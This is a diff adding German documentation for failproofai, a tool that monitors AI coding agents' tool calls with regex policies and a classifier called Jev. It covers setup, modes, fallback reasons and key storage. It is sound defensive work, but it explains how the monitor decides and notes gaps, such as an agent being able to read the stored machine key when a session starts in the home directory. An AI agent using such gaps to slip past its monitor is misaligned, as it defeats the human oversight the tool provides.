+- **Nur für den Eigentümer.** Sie wird mit den Berechtigungen `0600` geschrieben. Eine Kopie, die ein anderer Benutzer oder eine Gruppe lesen oder schreiben kann, wird **abgelehnt**, und Hooks fallen auf Regex zurück, bis Sie `chmod 600 ~/.failproofai/jev.json` ausführen oder `setup` erneut aufrufen. Das Verzeichnis wird ebenfalls geprüft: `~/.failproofai` darf für niemand anderen **schreibbar** sein, da wer dort schreiben kann, die Datei unabhängig von ihren eigenen Berechtigungen ersetzen kann. `setup` entfernt diese Schreib-Bits, wenn es sie findet. `failproofai jev status` meldet, wenn eine Konfiguration abgelehnt wurde, und zeigt den in der Datei genannten Endpunkt an: Jemand anderes könnte sie geändert haben, prüfen Sie daher, ob sie Ihnen gehört, bevor Sie `chmod` ausführen. Ein erneutes Ausführen von `setup` auf einer solchen Datei überträgt den gespeicherten Schlüssel nur an die eigene API des Anbieters; für jeden anderen darin genannten Endpunkt wird der Schlüssel erneut benötigt (`--key-stdin`), oder `--base-url default`, um Anfragen zurück zum Anbieter zu senden.
+- **Nur global.** Ein Repository kann Jev nicht aktivieren, auf einen anderen Endpunkt verweisen oder sein Modell auswählen: Eine `.failproofai/jev.json` innerhalb eines Projekts wird ignoriert, und Anbieter, URL, Modell und Konto-ID werden ausschließlich aus dieser Datei gelesen – niemals aus der Umgebung, die die Agent-Einstellungen eines Repositorys setzen können. (`FAILPROOFAI_HOME` ist kein Umweg: Es verschiebt das gesamte failproofai-Verzeichnis einschließlich Ihrer Richtlinien, anstatt Jev allein umzuleiten.)
+- **Nur der Schlüssel darf aus der Umgebung stammen.** Enthält die Datei keinen `apiKey`, liefert `FAILPROOFAI_JEV_API_KEY` ihn für diese Sitzung (`setup --key-from-env` schreibt eine solche Datei). Er ersetzt niemals einen in der Datei enthaltenen Schlüssel und kann Jev nicht ohne die Datei aktivieren. Ist die Variable nicht gesetzt, ist Jev für diese Shell schlicht deaktiviert: `failproofai jev status` meldet dies, beendet sich mit Exitcode 0 und lässt die Konfiguration unberührt (`status --json` meldet `"status": "key-missing"` mit `"reason": "no-env-key"`). Der `failproofaid`-Daemon sieht die Umgebung Ihrer Shell nicht; auf einer mit `failproofai config` eingerichteten Maschine sollten Sie den Schlüssel daher in der Datei ablegen.
+
+## Welches Jev antwortet
+
+Die Entscheidungsschwellen von Failproof AI wurden auf Jev 1.13 kalibriert, daher wird eine Antwort nur verwendet, wenn sie aus dieser Familie stammt: `jev-1.13.x` oder OpenRouters `typesafe/jev-1.13-`. Wenn ein Anbieter Jev nur per Alias benennt und keine Version meldet (Vercel, und Cloudflare wenn es nichts angibt), wird die Antwort verwendet und als ungeprüft erfasst. Ein `custom`-Endpunkt muss das antwortende Modell melden; die einzige Ausnahme ist ein unversionierter `--model`-Name, den Sie dafür konfiguriert haben und der, wenn er zurückgemeldet wird, ebenso als ungeprüft erfasst wird. Eine Antwort, die eine andere Version meldet, oder eine `custom`-Antwort, die keine Version meldet, wird nicht verwendet: Dieser Aufruf fällt mit dem Grund `model-mismatch` auf Regex zurück.
+
+## Wenn Jev nicht antworten kann
+
+Jeder der folgenden Fälle fällt für diesen Aufruf auf das Regex-Ergebnis zurück und wird mit seinem Grund erfasst, den `failproofai jev status` zusammenfasst:
+
+| Grund | Ursache |
+| --- | --- |
+| `timeout` | Keine Antwort innerhalb von `timeoutMs`. |
+| `http-429` | Der Anbieter hat den Schlüssel rate-limitiert. |
+| `rate-limited` | Der eigene Begrenzer von Failproof AI hat den Aufruf zurückgehalten, bevor er gesendet wurde: 5 Anfragen pro Sekunde in Bursts von bis zu 5, und kurze Pause nach einer `429`-Antwort des Anbieters. Nicht der Anbieter. |
+| `http-500`, `http-502`, `http-503`, … | Ein Serverfehler beim Anbieter. Der genaue Status wird erfasst. |
+| `out-of-credits` | HTTP 402: Das Anbieterkonto hat keine Credits mehr. |
+| `provider-refused` | HTTP 402 von Cloudflare mit „Model execution failed (Payment error)": Der Anbieter hat die Ausführung des Modells für diese Anfrage abgelehnt. Meist kein Abrechnungsproblem, sodass das Aufladen von Credits nichts ändert. |
+| `http-401`, `http-403` | Der Schlüssel wurde abgelehnt. |
+| `http-404` | Unter `/systemone` wird nichts bereitgestellt, die Basis-URL ist also falsch – `/systemone` wird daran angehängt, und jeder Anbieter stellt es an seinem Versions-Root bereit. `failproofai jev models` zeigt, was der Endpunkt tatsächlich bereitstellt. |
+| `network` | Der Endpunkt konnte nicht erreicht werden. |
+| `http-301`, `http-302`, `http-307`, `http-308` | Der Endpunkt antwortete mit einer Umleitung. Umleitungen werden niemals verfolgt, sodass die Antwort immer nur von der URL in Ihrer Konfiguration kommt; setzen Sie `--base-url` auf die endgültige URL. |
+| `malformed` | Der Endpunkt hat geantwortet, aber nicht mit einer Jev-Antwort – ein Body, der kein JSON ist, oder einer ohne Antworten darin. |
+| `cloudflare-error`, `cloudflare-incomplete` | Cloudflares Envelope hat einen Fehler gemeldet oder einen noch nicht abgeschlossenen Auftrag. |
+| `model-mismatch` | Eine andere Jev-Version als 1.13 hat geantwortet, oder ein `custom`-Endpunkt hat nicht angegeben, welches Modell geantwortet hat. |
+| `request-cut` | **Kein Ausfall.** Jev hat geantwortet; es hat nur einen Teil des Aufrufs gesehen, sodass seine Antwort nichts freigegeben hat. Siehe [Wenn Jev geantwortet hat, aber nicht zum gesamten Aufruf](#wenn-jev-geantwortet-hat-aber-nicht-zum-gesamten-aufruf). |
+
+`failproofai jev status` kann auch einige seltenere Gründe anzeigen, etwa `upstream-error` (die Antwort enthielt den eigenen Fehler des Anbieters) oder `config`, und fasst jeden unbekannten Grund als `other` zusammen.
+
+`request-cut` ist in dieser Tabelle, weil `failproofai jev status` ihn zusammen mit den anderen auflistet und weil auch er jede Ablehnung bestehen lässt. Es ist der einzige Grund hier, der nichts über Ihren Anbieter aussagt: Die Anfrage kam an und Jev hat geantwortet. Anders als alle obigen Zeilen zählt diese Antwort dennoch – Jevs eigene Ablehnung oder Warnung gilt zusätzlich zum Regex-Ergebnis und wird nicht verworfen. Eine Häufung davon bedeutet also, dass Aufrufe den Evaluator zu groß zum vollständigen Senden erreichen – nicht dass Ihr Endpunkt gestört ist. Credits aufzuladen oder die URL zu ändern wird die Zahl nicht bewegen.
+
+## Wenn Jev geantwortet hat, aber nicht zum gesamten Aufruf
+
+Zwei weitere Dinge können passieren, und keines davon bedeutet, dass Jev nicht antworten konnte. Beide betreffen, wie viel des Aufrufs oder der Konversation in eine Anfrage gepasst hat.
+
+**Ein Teil des Aufrufs selbst hat nicht gepasst.** Ein Tool-Aufruf wird innerhalb eines festen Budgets gesendet; ein überdimensionierter – ein sehr großes `Write`, ein riesiger MCP-Body, ein bis zur Obergrenze aufgefüllter Befehl – wird mit dem gesendet, was gepasst hat. Jev antwortet dennoch, und seine Antwort zählt: Seine eigene Ablehnung oder Warnung gilt wie gewohnt. Was es nicht tun kann, ist **freizugeben**, denn ein Urteil über einen Teil eines Aufrufs ist kein Urteil über den gesamten Aufruf. Daher bleibt jede Richtlinienablehnung bestehen, und der Aufruf wird als Fallback mit dem Grund `request-cut` erfasst, den `failproofai jev status` zusammen mit den obigen Gründen auflistet. Die Regel lautet: Einen Aufruf größer zu machen, kann ihm seine Freigaben kosten – und kann niemals eine erkaufen.
+
+**Eine Nachricht hat nicht gepasst.** Ein langer eingefügter Prompt, die letzte Nachricht des Agenten oder ein Prompt, den der eigene Speicher dieses Evaluators bereits gekürzt hatte. **Es ändert sich nichts**: Der Aufruf wird genau wie jeder andere beurteilt, freigegeben und erfasst, und er wird nicht als Fallback gezählt. Die Länge Ihrer Eingabe entscheidet niemals über ein Urteil, und eine Kürzung kann keine Zustimmung herstellen: Wenn ein Prompt bereits gekürzt ankam, kann die Schlussfolgerung „Sie haben das nicht angefordert" gar nicht erst gezogen werden – sie wird nicht einfach durch eine andere ersetzt.
+
+Die Grenze zwischen beiden liegt darin, wer den Text geschrieben hat. Der Aufruf stammt vom Agenten, und eine Regel, die seiner Länge erlaubt, den Schweregrad zu mindern, wäre eine Regel, die der Agent nutzen kann; Ihr Prompt stammt von Ihnen, und seine Länge als Signal zu behandeln hätte nur dazu geführt, dass Spezifikationen oder Stack-Traces einfügen bestraft wird.
+
+## Was die Maschine verlässt
+
+Für jeden Tool-Aufruf, den Jev auswertet, geht eine Anfrage an Ihren Anbieter mit:
+
+- dem Tool-Aufruf selbst, mit redigierten Geheimnissen wie API-Schlüsseln, Bearer-Tokens und `KEY=`-Zuweisungen;
+- den zuletzt eingegebenen Prompts, ohne den Text, den das Harness Ihres Agenten hinzugefügt hat;
+- der letzten Nachricht des Agenten vor Ihrem aktuellen Prompt, als vom Agenten verfasst gekennzeichnet;
+- lokal berechneten Fakten, etwa ob sich ein Pfad innerhalb des Projekts befindet – jenem, in dem die Sitzung beim ersten überprüften Aufruf war, [für die Sitzung festgelegt](/de/reference/jev-intent#the-project-root) – und dem aktuellen Git-Branch.
+
+Sie geht ausschließlich an den Endpunkt in Ihrer Konfiguration, unter Ihrem Schlüssel.
+
+## Deaktivierung
+
+```bash
+failproofai jev remove
+```
+
+Dies löscht `~/.failproofai/jev.json`. Ab dem nächsten Tool-Aufruf führen Hooks die Regex-Richtlinien genau wie zuvor aus. Die sitzungsspezifischen Speicher unter `~/.failproofai/state/semantic/` (erfasste Prompts in `sessions/`, Projektstammpfade in `roots/`) bleiben erhalten und laufen aus. Wenn Sie das Befragen von Jev einstellen, aber die Konfiguration behalten möchten, verwenden Sie stattdessen `failproofai jev setup --mode off`.
+
+## Befehlsreferenz
+
+| Befehl | Ergebnis |
+| --- | --- |
+| `failproofai jev --url --key-stdin` | In einem Befehl konfigurieren; der Anbieter wird aus dem Host der URL ermittelt |
+| `failproofai jev --url --token ` | Wie oben, mit dem Schlüssel in der Befehlszeile – Verlauf und Prozessliste sehen ihn |
+| `failproofai jev setup --provider --key-stdin` | Konfiguration mit einem per stdin geleiteten Schlüssel schreiben |
+| `failproofai jev setup --provider ` | Wie oben, Schlüssel an einer maskierten Eingabeaufforderung eingeben |
+| `failproofai jev setup --key-from-env` | Keinen Schlüssel speichern; `FAILPROOFAI_JEV_API_KEY` pro Sitzung lesen |
+| `failproofai jev setup --mode shadow` | Modus wechseln (`enforce`, `shadow` oder `off`), gespeicherten Schlüssel behalten |
+| `failproofai jev setup --model ` / `--base-url ` | Modell oder API-Basis überschreiben; `default` entfernt die Überschreibung |
+| `failproofai jev setup --timeout-ms ` | Zeitbudget pro Aufruf ändern |
+| `failproofai jev status [--json]` | Konfiguration, Berechtigungen und jüngste Aktivitäten; niemals der Schlüssel |
+| `failproofai jev test [--json]` | Eine Live-Anfrage: Latenz und antwortende Version |
+| `failproofai jev models [--provider ] [--url ] [--json]` | Die Modell-IDs, die `/models` des Endpunkts meldet, mit Markierung der konfigurierten |
+| `failproofai jev remove` | Konfiguration löschen; Jev ist deaktiviert |
\ No newline at end of file
diff --git a/docs/de/policies/jev-cloud.mdx b/docs/de/policies/jev-cloud.mdx
new file mode 100644
index 000000000..407d745a0
--- /dev/null
+++ b/docs/de/policies/jev-cloud.mdx
@@ -0,0 +1,117 @@
+---
+title: "Jev über FailproofAI Cloud"
+description: "Lassen Sie Jev die Tool-Aufrufe Ihrer Agents über FailproofAI Cloud im Rahmen des Plans Ihrer Organisation bewerten – ohne eigenes TypeSafe-Konto und ohne eigenen Schlüssel."
+icon: "cloud"
+---
+
+[Jev](/de/policies/jev-byok), TypeSafes Klassifikator, liest jeden Tool-Aufruf im Kontext Ihrer tatsächlichen Anfrage und liefert seine Bewertung ergänzend zu Ihren Policies – niemals anstelle von ihnen. Über **FailproofAI Cloud** kann eine verbundene Maschine Jev mit demselben Schlüssel nutzen, mit dem sie sich bereits verbindet: kein TypeSafe-Konto, kein zweiter Schlüssel, kein zu konfigurierender Endpunkt. Jeder Aufruf wird dem bestehenden Plan-Kontingent Ihrer Organisation belastet.
+
+Alles, was Jev tut, entspricht unverändert dem [Bring-your-own-key-Setup](/de/policies/jev-byok): Harte Policies bleiben endgültig, das Deny einer prüfbaren Policy wird nur dann aufgehoben, wenn Jev genau zu diesem Aspekt befragt wurde, und jeder Fehler fällt auf das Regex-Ergebnis dieses Aufrufs zurück.
+
+
+Erfordert **failproofai 1.0.8-beta.0** oder höher. 1.0.7 enthält kein Jev – auch wenn diese Version in der Sortierung über den 1.0.7-Betas erscheint. Ohne eine Jev-Konfiguration ändert sich nichts: Hooks führen die Regex-Policies exakt wie bisher aus.
+
+
+## Aktivierung
+
+1. **Erstellen Sie einen Schlüssel mit Jev.** Öffnen Sie im FailproofAI Cloud-Dashboard **Keys → Create key** und wählen Sie das **machine**-Preset. Es gewährt die drei Berechtigungen, die eine Maschine benötigt: `events:add` (Aktivität senden), `policies:pull` (Policies empfangen) und `jev:evaluate` (Jev, wird dem Plan Ihrer Organisation belastet). Ein Schlüssel kann `jev:evaluate` nicht ohne die anderen beiden Berechtigungen tragen.
+2. **Verbinden Sie die Maschine** mit diesem Schlüssel:
+
+ ```bash
+ failproofai config --token
+ ```
+
+ Falls Ihre Organisation eine eigene FailproofAI Cloud betreibt statt der gehosteten Version, fügen Sie deren Adresse hinzu: `--url https://` (oder exportieren Sie `FAILPROOFAI_CLOUD_URL`). Ohne diese Angabe wird der Schlüssel gegen den gehosteten Dienst geprüft, und die Verbindung schlägt fehl. Wenn das Zertifikat dieses Hosts von einer privaten CA stammt, installieren Sie die CA im System-Trust-Store der Maschine (z. B. mit `update-ca-certificates`) und nicht nur in `NODE_EXTRA_CA_CERTS`: Der Daemon, der Events sendet und Policies abruft, liest den System-Store. Siehe [Troubleshooting](/de/reference/troubleshooting).
+
+Das ist alles. Beim Verbinden wird der Schlüssel gespeichert, und wenn die Maschine **noch keine** Jev-Konfiguration hat, wird Jev über FailproofAI Cloud im **Shadow**-Modus aktiviert: Jev wird zu jedem überwachten Tool-Aufruf befragt und seine Urteile werden aufgezeichnet, aber das Ergebnis Ihrer Policies ist das, was durchgesetzt wird. Die Ausgabe macht das deutlich:
+
+```text
+ Jev on through FailproofAI Cloud, in shadow mode: logged, not enforced (~/.failproofai/jev.json).
+```
+
+**Mit `--no-transcripts` aktiviert das Verbinden Jev nicht.** Jev sendet jeden geprüften Tool-Aufruf und den jüngsten Prompt an FailproofAI Cloud – das ist mehr, als eine reine Verbindung für Entscheidungen senden soll. Der Schlüssel wird trotzdem gespeichert, und die Ausgabe teilt mit, dass Jev verfügbar ist und wie man ihn einschaltet:
+
+```bash
+failproofai jev setup --provider failproofai
+```
+
+Dies schaltet Jev auch **nicht aus**. Läuft Jev auf der Maschine bereits über FailproofAI Cloud per `jev.json`, bleibt dies unverändert, und die Ausgabe informiert darüber, dass Jev weiterhin jeden geprüften Tool-Aufruf und den jüngsten Prompt sendet – und dass `failproofai jev setup --mode off` es deaktiviert.
+
+
+Beim Verbinden wird eine vorhandene `~/.failproofai/jev.json` **niemals überschrieben**. Wenn Sie bereits Ihren eigenen Jev-Endpunkt verwenden, wird dieser weiterhin genutzt, und die Ausgabe teilt mit, dass die Datei unverändert blieb – und, wenn Jev in dieser Datei deaktiviert ist (abgelehnt oder ausgeschaltet), wird das ebenfalls gemeldet samt Hinweis zur Behebung. Um die Maschine auf FailproofAI Cloud umzustellen, führen Sie `failproofai jev setup --provider failproofai` aus.
+
+
+## Shadow, Enforce oder Off
+
+Starten Sie im Shadow-Modus, beobachten Sie auf der Policy-Seite, was Jev getan hätte, und lassen Sie ihn dann handeln:
+
+```bash
+failproofai jev setup --mode enforce # Jevs Urteile gelten: Er kann ein prüfbares Deny aufheben und eigene hinzufügen
+failproofai jev setup --mode shadow # Jev wird befragt und protokolliert; das Ergebnis Ihrer Policies wird durchgesetzt
+failproofai jev setup --mode off # Konfiguration behalten, Jev nicht mehr befragen
+```
+
+Denselben Schalter gibt es im lokalen Dashboard: **Settings → Jev** hat einen Ein/Aus-Schalter und shadow/enforce. Nur der Modus wird überschrieben, sonst nichts. Hooks lesen die Konfiguration bei jedem Tool-Aufruf, sodass eine Änderung ab dem nächsten Aufruf gilt – ohne Neustart.
+
+## Überprüfen, was passiert
+
+```bash
+failproofai jev status
+failproofai jev test
+```
+
+`status` zeigt den Provider als **FailproofAI Cloud**, den Cloud-Host, mit dem die Maschine verbunden ist, den Modus und die Schlüsselquelle als **FailproofAI Cloud connection** – niemals den Schlüssel selbst. Wenn eine FailproofAI Cloud `jev.json` vorhanden ist, Jev aber nicht laufen kann, wird der Grund angegeben:
+
+| `status` zeigt | `status --json` | Bedeutung |
+| --- | --- | --- |
+| **off — no Jev key is stored for this machine's FailproofAI Cloud connection** | `key-lacks-jev` | Die Maschine ist verbunden, aber kein Jev-Schlüssel ist für sie gespeichert: Der Schlüssel fehlt `jev:evaluate`, oder die Verbindung konnte es nicht bestätigen. Führen Sie `failproofai config --token ` erneut mit demselben Schlüssel aus; falls ihm die Berechtigung fehlt, verwenden Sie einen **machine**-Schlüssel. |
+| **off — this machine is not connected to FailproofAI Cloud** | `not-connected` | Auf dieser Maschine besteht keine FailproofAI Cloud-Verbindung, der der Jev-Schlüssel gehören könnte. |
+
+Nach `failproofai config --disconnect` gibt es keine FailproofAI Cloud `jev.json` mehr (es sei denn, sie war ausgeschaltet, was beibehalten wird), sodass `status` Jev einfach als deaktiviert meldet. `status --json` enthält dieselben Fakten (`provider: "failproofai"`, `keySource: "cloud"`, `cloudConnected`, `keyCarriesJev`), auch wenn die Konfiguration fehlt oder abgelehnt wurde. `permissions` bezieht sich immer auf `jev.json`; eine Ablehnung wegen `credentials.json` fügt `credentialsPermissions` hinzu sowie `fix`, wenn ein einzelner Befehl das Problem löst. `test` sendet eine echte Live-Anfrage und meldet die Latenz sowie die Jev-Version, die geantwortet hat. Es gibt 1 zurück und kennzeichnet das in seinem Titel, wenn die Antwort nach dem Hook-Timeout eintrifft (Hooks würden `timeout` aufzeichnen) oder die Prüffrage falsch beantwortet wird.
+
+Das **Settings → Jev**-Panel im Dashboard zeigt ebenfalls die **FailproofAI Cloud connection**: welcher Organisation die Maschine zugeordnet ist und ob ihr Schlüssel Jev trägt. Es wird aus den lokalen Dateien der Maschine gelesen, ohne Netzwerkanfrage.
+
+## Was auf der Policy-Seite ankommt
+
+Die Maschine sendet ihre Hook-Aktivität bereits an FailproofAI Cloud (`events:add`). Mit aktiviertem Jev enthält der Datensatz jedes überwachten Aufrufs außerdem: welcher Evaluator ausgeführt wurde, was Jev entschied, welche Policies er aufhob, warum er ggf. zurückgefallen ist, seine Latenz und das Modell, das geantwortet hat – Entscheidungen, Codes und Namen, niemals den Befehl oder Ihren Prompt. Auf der **Policies**-Seite Ihrer Organisation:
+
+- Ein Aufruf, der durch Jevs eigenes Urteil entschieden wurde (Enforce-Modus), wird **Jev** zugeschrieben; wenn die ausschlaggebende Prüfung aus einem Pack stammt, nennt der Datensatz auch dieses Pack und seine Version.
+- Im Shadow-Modus erscheint Jevs Deny oder Warning als **would-have** neben den Rollouts, die Sie beobachten.
+- Die Policies, die Jev aufgehoben hat oder im Shadow-Modus aufgehoben hätte, werden pro Policy gezählt.
+
+## Wenn Jev nicht antworten kann
+
+Jeder der folgenden Fälle fällt auf das Ergebnis Ihrer Policies für diesen Aufruf zurück und wird mit seinem Grund aufgezeichnet:
+
+| Grund | Ursache |
+| --- | --- |
+| `out-of-credits` | Ihre Organisation hat ihr Plan-Kontingent aufgebraucht. |
+| `http-401`, `http-403` | Der Schlüssel wurde widerrufen oder trägt kein `jev:evaluate`. Verbinden Sie sich mit einem Schlüssel, der es tut. |
+| `http-429` | FailproofAI Cloud begrenzt Jev für Ihre Organisation. Bis die geforderte Wartezeit abgelaufen ist (`Retry-After`, maximal 60 Sekunden), sendet die Maschine nichts und jeder Aufruf fällt sofort zurück. So zurückgehaltene Aufrufe werden als `http-429` aufgezeichnet oder als `rate-limited`, wenn das eigene Rate-Limit der Maschine sie zuerst zurückhält. |
+| `http-429` (Tageslimit) | Ihre Organisation hat ihr tägliches Jev-Kontingent aufgebraucht: **10.000 pro UTC-Tag**, es sei denn, der Betreiber Ihrer FailproofAI Cloud hat ein anderes Limit festgelegt. Jeder Aufruf fällt zurück, bis der Zähler um 00:00 UTC zurückgesetzt wird; die Maschine fragt höchstens einmal pro Minute erneut an, erkennt also den Reset innerhalb einer Minute. `failproofai jev test` meldet: „Daily Jev limit for this org reached; resets at 00:00 UTC." |
+| `http-422` | Jev hat die Anfrage dieses Aufrufs abgelehnt, meist weil der Tool-Aufruf dichten Text (Base64, Hex, minifizierten Code) über Jevs Token-Budget enthielt. Dieser Aufruf fällt jedes Mal zurück; es handelt sich nicht um einen Ausfall. |
+| `http-502` | Jev ist momentan nicht verfügbar. |
+| `http-503` | Diese Cloud kann Jev für Ihre Organisation nicht bereitstellen: kein Model-Gateway, eine noch nicht provisionierte Organisation oder das Gateway ist ausgefallen. Wenden Sie sich an Ihren Administrator; Hooks fragen höchstens einmal pro Minute erneut an. |
+| `http-404` | Diese FailproofAI Cloud stellt Jev noch nicht bereit. |
+| `timeout` | Keine Antwort innerhalb von `timeoutMs` (Standard: 3000). |
+| `model-mismatch` | Eine andere Jev-Version als 1.13 hat geantwortet. |
+
+## Wo der Schlüssel gespeichert wird und wohin er geht
+
+- Der Schlüssel wird einmalig in `~/.failproofai/credentials.json` gespeichert (`0600`, in einem nur für den Eigentümer zugänglichen Verzeichnis), neben den anderen FailproofAI Cloud-Anmeldedaten. `jev.json` enthält für diese Route keinen Schlüssel; ein dort eingetragener Schlüssel macht die Konfiguration ungültig.
+- Wenn `credentials.json` für irgendjemanden außer Ihnen **irgendeine** Berechtigung trägt (Gruppe oder andere, Lesen oder Schreiben), oder wenn sein Verzeichnis von irgendjemanden außer Ihnen **beschrieben** werden kann, wird die Datei **abgelehnt**, nicht gelesen, und Jev bleibt deaktiviert, bis Sie das beheben: `chmod 600` auf die Datei, `chmod 700` auf das Verzeichnis (oder erneut verbinden, was die Datei mit `0600` neu schreibt und das Verzeichnis auf den Eigentümer beschränkt). Ein Verzeichnis, das andere nur lesen können, ist in Ordnung; eines, in das andere schreiben können, ermöglicht das Austauschen der Datei.
+- Der Schlüssel gilt nur, solange die Verbindung, von der er stammt, auf der Maschine vorhanden ist: eine Policy- oder Reporting-Credential für dieselbe FailproofAI Cloud **mit demselben Schlüssel** in derselben Datei. Ein hinterlassener Jev-Schlüssel ohne eine solche Verbindung wird ignoriert, und Jev bleibt deaktiviert. Das passiert, wenn `config --disconnect` einer älteren failproofai-Version den Jev-Schlüssel stehen lässt (sie weiß nicht, dass er entfernt werden muss), oder wenn `config --token` einer älteren failproofai-Version mit einem anderen Schlüssel verbindet, der auf FailproofAI Cloud zu einer anderen Organisation gehören kann. Um Jev wieder einzuschalten, verbinden Sie sich erneut mit einem **machine**-Schlüssel.
+- Der Schlüssel wird ausschließlich an den Cloud-Ursprung gesendet, gegen den er verifiziert wurde. Eine `jev.json`, die auf einen anderen Ort verweist, wird abgelehnt.
+- **Ein Agent auf der Maschine kann sie lesen.** `credentials.json` ist nur für den Eigentümer zugänglich, und der Agent läuft als dieser Eigentümer. Das Lesen von failproofais eigenen Dateien ist bewusst erlaubt (nur das Ändern ist blockiert, durch `block-failproofai-commands`); das Einzige, was zwischen einem Agent und dieser Datei steht, ist `block-read-outside-cwd` – eine *prüfbare* Policy – und von einer Sitzung, die im Home-Verzeichnis gestartet wurde, nichts. Ein Schlüssel mit `jev:evaluate` verbraucht das Jev-Kontingent Ihrer Organisation (bis zur Tagesobergrenze) von überall, wo er verwendet wird. Behandeln Sie einen Machine-Schlüssel daher wie jede andere Spending-Credential: Wenn ein Agent ihn möglicherweise gelesen hat, deaktivieren Sie ihn auf der Keys-Seite und verbinden Sie sich mit einem neuen.
+- Nur Ihre globalen Dateien entscheiden das. Ein Repository kann Cloud-Jev nicht einschalten, auf einen anderen Ort verweisen oder seinen Schlüssel bereitstellen, und `FAILPROOFAI_JEV_API_KEY` wird für diese Route ignoriert.
+- Für jeden von Jev bewerteten Aufruf geht eine Anfrage an FailproofAI Cloud, die das enthält, was die [Bring-your-own-key-Seite](/de/policies/jev-byok#what-leaves-the-machine) auflistet (Secrets werden geschwärzt). FailproofAI Cloud leitet es an TypeSafe weiter und protokolliert oder speichert es nicht.
+
+## Deaktivierung
+
+| Befehl | Ergebnis |
+| --- | --- |
+| `failproofai jev setup --mode off` | Konfiguration behalten; Jev wird nicht befragt. **Dies ist der dauerhaft wirksame Schalter:** Erneutes Verbinden überschreibt eine vorhandene `jev.json` nie, sodass Jev deaktiviert bleibt, bis Sie es mit `--mode shadow` wieder einschalten. |
+| `failproofai jev remove` | `~/.failproofai/jev.json` löschen; Jev ist deaktiviert – bis zum nächsten `failproofai config --token` mit einem Schlüssel, der `jev:evaluate` trägt. Dieser findet keine `jev.json` und aktiviert Jev erneut im Shadow-Modus (es sei denn, er wird mit `--no-transcripts` ausgeführt). Um es deaktiviert zu lassen, verwenden Sie `--mode off`. |
+| `failproofai config --disconnect` | Verbindung der Maschine trennen: Der Schlüssel wird entfernt, ebenso `jev.json`, wenn sie FailproofAI Cloud benennt und nicht ausgeschaltet ist. Eine `jev.json` für Ihren eigenen Endpunkt bleibt bestehen, ebenso eine ausgeschaltete – sodass Jev deaktiviert bleibt, wenn Sie sich erneut verbinden. |
+
+Ab dem nächsten Tool-Aufruf führen Hooks die Regex-Policies exakt wie zuvor aus.
\ No newline at end of file
diff --git a/docs/de/policies/jev.mdx b/docs/de/policies/jev.mdx
new file mode 100644
index 000000000..46e43a18c
--- /dev/null
+++ b/docs/de/policies/jev.mdx
@@ -0,0 +1,45 @@
+---
+title: "Jev-Richtlinien"
+description: "Füge Jevs Live-Review zu überwachten Tool-Aufrufen hinzu und prüfe sie, bevor ihre Entscheidungen durchgesetzt werden."
+icon: "shield-check"
+---
+
+Jev liest einen Tool-Aufruf im Kontext dessen, was die Person den Agenten zu tun gebeten hat. Verwende es, wenn eine string-basierte Richtlinie gültige Aktionen blockiert oder eine riskante Aktion übersieht, die Kontext benötigt. Es antwortet zusammen mit deinen Richtlinien am `PreToolUse`- oder `PermissionRequest`-Gate. Für eine Bewertung **nach** Ende einer Sitzung verwende [Jev-Evaluierungen](/de/evaluations/jev).
+
+## Im Beobachtungsmodus starten
+
+Installiere Failproof AI und hänge Hooks an ein [unterstütztes Harness](/de/reference/harnesses) an. Verwende failproofai 1.0.8-beta.0 oder höher.
+
+Failproof AI enthält keine Jev-Prüfungen. Installiere sie als Pack, andernfalls hat Jev nichts zu prüfen und wird nie aufgerufen:
+
+```bash
+failproofai policies add FailproofAI/jev-policies
+```
+
+Wähle dann, wie Anfragen Jev erreichen:
+
+| Route | Erster Schritt |
+| --- | --- |
+| FailproofAI Cloud | Verbinde dich mit einem **Machine**-Schlüssel, der `jev:evaluate` trägt. Auf einer Maschine ohne Jev-Konfiguration aktiviert `failproofai config` Jev im Beobachtungsmodus. |
+| Eigener Anbieter | Öffne im lokalen Dashboard **Einstellungen → Jev**, wähle den Anbieter, füge dessen Token ein und wähle **observe**. Oder führe aus: `failproofai jev --url https://api.typesafe.ai/v1 --mode observe --key-stdin < ~/typesafe.key`. |
+
+
+
+```bash
+failproofai jev status
+failproofai jev test
+```
+
+`test` prüft den Endpunkt. Um den Hook-Pfad zu überprüfen, bitte einen angebundenen Agenten, sein Datei-Lese-Tool auf `README.md` anzuwenden. Bestätige, dass dieser Tool-Aufruf in der Sitzung erscheint, und prüfe dann **Richtlinien → Aktivität** im [lokalen Dashboard](/de/reference/local-dashboard#review-policy-activity). Der Jev-Zähler in `status` sollte steigen. Der Beobachtungsmodus zeichnet auf, was Jev entschieden hätte, während dein bestehendes Richtlinienergebnis weiterhin gilt.
+
+## Entscheiden, wann durchgesetzt werden soll
+
+Eine **harte** Richtlinie hat immer das letzte Wort. Jev darf ein Deny nur von einer Richtlinie aufheben, die explizit als **reviewable** markiert ist, und nur wenn es das benannte Anliegen dieser Richtlinie geprüft hat. Lies [Richtlinien-Autorität](/de/policies/authority), bevor du dich auf eine Freigabe verlässt. Jev kann auch eigenständig warnen oder ablehnen. Wenn es keine Antwort geben kann, entscheidet das Richtlinienergebnis über diesen Aufruf.
+
+Sobald die Beobachtungsergebnisse korrekt aussehen, wechsle in **Einstellungen → Jev** in den Durchsetzungsmodus oder führe aus:
+
+```bash
+failproofai jev setup --mode enforce
+```
+
+Informationen zu Anbieter-URLs, Cloud-Schlüsseln, Konfiguration, Fallbacks und den mit jeder Anfrage gesendeten Daten findest du in der [Jev-Integrationsreferenz](/de/reference/jev).
\ No newline at end of file
diff --git a/docs/de/reference/custom-agents-typescript.mdx b/docs/de/reference/custom-agents-typescript.mdx
new file mode 100644
index 000000000..62de5ef7d
--- /dev/null
+++ b/docs/de/reference/custom-agents-typescript.mdx
@@ -0,0 +1,401 @@
+---
+title: "Eigene Agenten (TypeScript)"
+description: "Konfiguration, der Event-Katalog, die Scopes und die Framework-Adapter für @failproofai/sdk."
+icon: "square-js"
+---
+
+Was jede Einstellung, Methode und jedes Feld im TypeScript SDK bewirkt. Wenn du zum ersten Mal instrumentierst, beginne mit der Anleitung – diese Seite dient zum Nachschlagen.
+
+
+
+ Installation, Instrumentierung, die Event-Methoden, ein durchgearbeitetes Beispiel und häufige Probleme.
+
+
+ Dieselben Events, dasselbe Wire-Format, derselbe Spool – aus Python heraus.
+
+
+
+Node 20.9 oder neuer. ESM und CommonJS. Keine Laufzeit-Abhängigkeiten.
+
+
+ Dieses SDK und das Python-SDK schreiben **dieselben Events in denselben Spool**. Eine Flotte mit Node-Agenten und Python-Agenten erzeugt einen einzigen Satz von Sessions, nicht zwei, und nichts im Dashboard unterscheidet sie. Entscheide pro Service, nicht pro Unternehmen.
+
+
+## Installation
+
+```bash
+npm install @failproofai/sdk
